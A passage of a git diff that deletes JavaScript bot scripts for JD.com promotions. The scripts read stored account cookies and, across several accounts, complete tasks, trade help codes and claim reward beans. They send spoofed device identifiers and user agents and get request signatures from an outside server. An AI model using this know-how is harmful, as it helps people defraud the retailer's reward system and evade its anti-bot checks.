t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_UnknownTask3.js b/backUp/gua_UnknownTask3.js deleted file mode 100644 index 59f9272..0000000 --- a/backUp/gua_UnknownTask3.js +++ /dev/null @@ -1,419 +0,0 @@ -/* - -https://prodev.m.jd.com/mall/active/2y1S9xVYdTud2VmFqhHbkcoAYhJT/index.html - -27 8,18 * 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_UnknownTask3.js -*/ -const $ = new Env('寻找内容鉴赏官'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -allMessage = "" -message = "" -let UA = '' -$.hotFlag = false -$.outFlag = 0 -$.list = [ - { - "type": 5, - "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", - "assignmentId":"2PbAu1BAT79RxrM5V7c2VAPUQDSd", - "name":"签到", - }, - { - "type": 9, - "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", - "assignmentId":"XTXNrKoUP5QK1LSU8LbTJpFwtbj", - "name":"逛发现内容", - }, - { - "type": 9, - "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", - "assignmentId":"2bpKT3LMaEjaGyVQRr2dR8zzc9UU", - "name":"浏览话题", - }, - { - "type": 1, - "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", - "assignmentId":"3dw9N5yB18RaN9T1p5dKHLrWrsX", - "name":"看大咖种草秀赢京豆", - }, - { - "type": 1, - "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", - "assignmentId":"Hys8nCmAaqKmv1G3Y3a5LJEk36Y", - "name":"看精选视频赢京豆", - }, - { - "type": 1, - "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", - "assignmentId":"2gWnJADG8JXMpp1WXiNHgSy4xUSv", - "name":"逛运动部落赢大奖", - }, - { - "type": 1, - "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", - "assignmentId":"CtXTxzkh4ExFCrGf8si3ePxGnPy", - "name":"看三星新品晒单内容赢京豆", - }, - { - "type": 1, - "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", - "assignmentId":"26KhtkXmoaj6f37bE43W5kF8a9EL", - "name":"一起潮有品,焕新家", - }, - { - "type": 1, - "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", - "assignmentId":"bWE8RTJm5XnooFr4wwdDM5EYcKP", - "name":"玩转3c开学季", - }, -] -$.temp = []; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - console.log(`入口:\nhttps://prodev.m.jd.com/mall/active/2VyRHGE7jM1igBJcrjoB6ak1JJWV/index.html`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - message = "" - $.bean = 0 - $.hotFlag = false - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - } - if($.outFlag != 0) break - } - $.projectId = "rfhKVBToUL4RGuaEo7NtSEUw2bA" - $.assignmentId = "3PX8SPeYoQMgo1aJBZYVkeC7QzD3" - $.helpType = 2 - $.type = 2 - if($.temp.length > 0){ - for (let i = 0; i < cookiesArr.length && true; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.canHelp = true;//能否助力 - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if ((cookiesArr && cookiesArr.length >= 1) && $.canHelp) { - for (let t in $.temp) { - let item = $.temp[t] - if (!item) continue; - console.log(`\n${$.UserName} 去助力 ${item}`); - $.toHelp = '' - $.itemId = item - await takePostRequest('help'); - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - if($.toHelpMsg.indexOf('可助力') > -1){ - await takePostRequest('interactive_done'); - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - }else if($.toHelpMsg.indexOf('任务已完成') > -1){ - $.temp[t] = '' - break; - }else if($.toHelpMsg.indexOf('最多助力') > -1) break; - } - } - } - } - } - if(allMessage){ - $.msg($.name, ``, `${allMessage}`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${allMessage}`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - $.earn = 0 - $.signTask = '' - $.total = '' - await takePostRequest('interactive_rewardInfo'); - $.helpType = 1 - $.itemId = '' - await takePostRequest('help'); - if($.total === ''){ - console.log('账号异常') - allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n账号异常\n` - return - } - for(let i in $.list || []){ - if($.list[i]){ - $.type = $.list[i].type - $.projectId = $.list[i].projectId - $.assignmentId = $.list[i].assignmentId - $.Task = '' - await takePostRequest('interactive_info'); - // console.log($.Task) - if($.Task){ - if($.type == 5) console.log(`签到天数${$.Task.current || 0}/${$.Task.signDays || 0}`) - $.projectId = $.Task.projectId - $.assignmentId = $.Task.assignmentId - $.itemId = $.Task.itemId || '' - let title = $.Task.title || $.list[i].name - if($.Task.status+"" === "0"){ - console.log(`${title}`) - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - if($.Task.waitDuration > 0){ - await takePostRequest('interactive_accept'); - await $.wait(parseInt($.Task.waitDuration > 0 && $.Task.waitDuration*1000, 10) || 10000) - UA = 'JD4iPhone/167814 (iPhone; iOS 13.1.2; Scale/2.00)' - await takePostRequest('qryViewkitCallbackResult'); - UA = '' - }else{ - if($.type == 9) UA = 'JD4iPhone/167814 (iPhone; iOS 13.1.2; Scale/2.00)' - await takePostRequest('interactive_done'); - if($.type == 9){ - UA = '' - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - await takePostRequest('interactive_reward'); - } - } - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - - }else if($.Task.status+"" === "1" && $.type == 9){ - await takePostRequest('interactive_reward'); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - }else if($.Task.status+"" === "2"){ - console.log(`${title} 已完成`) - }else{ - console.log(`${title}-未知 ${$.Task.status}`) - } - }else{ - console.log(`${$.list[i].name} 获取失败`) - } - } - } - await takePostRequest('interactive_rewardInfo'); - if($.earn > 0) allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n本次运行获得${$.earn}京豆,共计${$.total}京豆\n` - await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - } catch (e) { - console.log(e) - } -} - -async function takePostRequest(type) { - let url = ''; - let body = ``; - switch (type) { - case 'interactive_rewardInfo': - url = `https://api.m.jd.com/interactive_rewardInfo?functionId=interactive_rewardInfo&appid=contenth5_common&body={"encryptProjectPoolId":"DhFbbuoB65uR33ntszFgY8raqPQ"}&client=wh5`; - body = ``; - break; - case 'interactive_info': - url = `https://api.m.jd.com/interactive_info?functionId=interactive_info&appid=contenth5_common&body=[{"type":"${$.type}","projectId":"${$.projectId}","assignmentId":"${$.assignmentId}","doneHide":false}]&client=wh5`; - body = ``; - break; - case 'help': - url = `https://api.m.jd.com/interactive_info?functionId=interactive_info&appid=contenth5_common&body=[{"type":"2","projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA","assignmentId":"3PX8SPeYoQMgo1aJBZYVkeC7QzD3","doneHide":false,"helpType":"${$.helpType}","itemId":"${$.itemId}"}]&client=wh5`; - body = ``; - break; - case 'interactive_done': - case 'interactive_accept': - let bodys = '' - if($.type == 5) bodys = ',"agid":["05804754","05822013"]' - if($.type == 2) bodys = ',"agid":["05804754","05804886"]' - url = `https://api.m.jd.com/${type}?functionId=${type}&appid=contenth5_common&body={"projectId":"${$.projectId}","assignmentId":"${$.assignmentId}","type":"${$.type}","itemId":"${$.itemId}"${bodys}}&client=wh5`; - body = ``; - if($.type == 9){ - url = `https://api.m.jd.com/client.action?functionId=interactive_done`; - body = `area=16_1315_1316_53522&body=%7B%22assignmentId%22%3A%22XTXNrKoUP5QK1LSU8LbTJpFwtbj%22%2C%22type%22%3A%229%22%2C%22projectId%22%3A%22rfhKVBToUL4RGuaEo7NtSEUw2bA%22%7D&build=167814&client=apple&clientVersion=10.1.4&d_brand=apple&d_model=iPhone8%2C1&eid=eidId10b812191seBCFGmtbeTX2vXF3lbgDAVwQhSA8wKqj6OA9J4foPQm3UzRwrrLdO23B3E2wCUY/bODH01VnxiEnAUvoM6SiEnmP3IPqRuO%2By/%2BZo&isBackground=N&joycious=63&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=2f7578cb634065f9beae94d013f172e197d62283&osVersion=13.1.2&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=0533863111d0e0d69410f56a7ef58fb9&st=1631296373128&sv=111&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJgF04TMIkjbf0gVLusgIW5EdhotCsxFSHKJprkovrIgyVo4dZUGgBgL/RiEhL2bvOAuOce/8hqhTGUuEXz1rwspF1DPZ87zyLDiuE0/Yr8VmOUCLV2yp05R1%2BHqoEl280hhlwUaSLrG/h7tEBMu6dCrOsOEd5oQX6H74r9en/aKB2N59xTeMu4Q%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b`; - } - break; - case 'interactive_reward': - url = `https://api.m.jd.com/interactive_reward?functionId=interactive_reward&appid=contenth5_common&body={"projectId":"${$.projectId}","assignmentId":"${$.assignmentId}","type":"${$.type}"}&client=wh5`; - body = ``; - break; - case 'qryViewkitCallbackResult': - url = `https://api.m.jd.com/client.action?functionId=qryViewkitCallbackResult`; - let signBody = `{"dataSource":"babelInteractive","method":"customDoInteractiveAssignmentForBabel","reqParams":"{\\"itemId\\":\\"${$.itemId}\\",\\"encryptProjectId\\":\\"${$.projectId}\\",\\"encryptAssignmentId\\":\\"${$.assignmentId}\\"}"}` - let sign = await jdSign('qryViewkitCallbackResult', signBody) - if(!sign) return - body = sign; - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(url, body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err,err)}`) - console.log(`${type} API请求失败,请检查网路重试`) - } else { - // setActivityCookie(resp) - dealReturn(type, data); - } - } catch (e) { - // console.log(data); - console.log(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function dealReturn(type, data) { - let res = '' - try { - res = JSON.parse(data); - } catch (e) { - console.log(`执行任务异常`); - // console.log(data); - $.runFalag = false; - } - switch (type) { - case 'interactive_rewardInfo': - if (res.data && res.success && res.code+"" === "0" && res.data) { - if($.total === ''){ - $.total = parseInt(res.data,10) > 0 && parseInt(res.data,10) || 0 - console.log(`当前累计${res.data || 0}京豆`) - }else{ - $.earn = parseInt(res.data,10) > 0 && (parseInt(res.data,10) - $.total) || 0 - $.total = parseInt(res.data,10) > 0 && parseInt(res.data,10) || 0 - console.log(`本次运行获得${$.earn}京豆`) - } - } else { - console.log(`${type}-> ${data}`); - } - break; - case 'interactive_info': - if (res.data && res.success && res.code+"" === "0" && res.data) { - $.Task = res.data[0] || res.data || {}; - } else { - console.log(`${type}-> ${data}`); - } - break; - case 'interactive_done': - case 'interactive_reward': - if (res.data && res.success && res.code+"" === "0" && res.data) { - console.log(`${res.data && (res.data.rewardMsg || res.data.msg || '') || data}`) - } else { - console.log(`${type}-> ${data}`); - } - break; - case 'help': - if (res.data && res.success && res.code+"" === "0" && res.data) { - let arr = res.data[0] || res.data || {} - if($.helpType == 1){ - console.log(`助力码:${arr.itemId || '获取失败'}`) - if(arr.itemId){ - $.temp.push(arr.itemId); - } - }else if($.helpType == 2){ - $.toHelp = arr.remainAssistTime - $.toHelpMsg = arr.msg - console.log(arr.msg) - } - } else { - console.log(`${type}-> ${data}`); - } - break; - default: - console.log(`${type}-> ${data}`); - } -} - -function jdSign(fn,body) { - return new Promise((resolve) => { - let url = { - url: `https://jd.smiek.tk/jdsign_21092132`, - body:`{"fn":"${fn}","body":${body}}`, - followRedirect:false, - headers: { - 'Accept':'*/*', - "accept-encoding": "gzip, deflate, br", - 'Content-Type': 'application/json', - }, - timeout:30000 - } - $.post(url, async (err, resp, data) => { - try { - let res = $.toObj(data,data) - if(res && typeof res === 'object'){ - if(res.code && res.code == 200 && res.msg == "ok" && res.data){ - let sign = '' - if(res.data.sign) sign = res.data.sign || '' - resolve(sign) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve('') - } - }) - }) -} -function getPostRequest(url,body) { - let headers = { - "Accept": "application/json", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${cookie}`, - "Origin": `https://prodev.m.jd.com`, - "X-Requested-With": "XMLHttpRequest", - "Referer": `https://prodev.m.jd.com/mall/active/2y1S9xVYdTud2VmFqhHbkcoAYhJT/index.html`, - "User-Agent": `${UA || $.UA}` , - } - // console.log(headers) - // console.log(headers.Cookie) - return {url: url, method: `POST`, headers: headers, body: body}; -} - -async function getUA(){ - $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_UnknownTask4.js b/backUp/gua_UnknownTask4.js deleted file mode 100644 index d0f02a6..0000000 --- a/backUp/gua_UnknownTask4.js +++ /dev/null @@ -1,504 +0,0 @@ -/* - -https://3.cn/102Qir-AW - -如需加购请设置环境变量[guaunknownTask_addSku4]为"true" - -17 10 * 9,10 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_UnknownTask4.js -*/ -const $ = new Env('希捷品牌日瓜分百万京豆'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaunknownTask_addSku = "false" -guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku4 ? process.env.guaunknownTask_addSku4 : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku4') ? $.getdata('guaunknownTask_addSku4') : `${guaunknownTask_addSku}`); -guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku_All ? process.env.guaunknownTask_addSku_All : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku_All') ? $.getdata('guaunknownTask_addSku_All') : `${guaunknownTask_addSku}`); -allMessage = "" -message = "" -let UA = '' -let lz_jdpin_token_cookie ='' -let activityCookie ='' -$.hotFlag = false -$.outFlag = false -$.activityId = '78d0a8cb3612470f84bb61981609177f' -$.shareUuid = 'f71b49e041e445bc80976825056fe289' -$.temp = []; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - console.log(`入口:\nhttps://3.cn/102Qir-AW`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - message = "" - $.bean = 0 - $.hotFlag = false - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if($.index == 1 && !$.actorUuid) break - if($.outFlag) break - } - } - if(allMessage){ - $.msg($.name, ``, `${allMessage}`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${allMessage}`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try 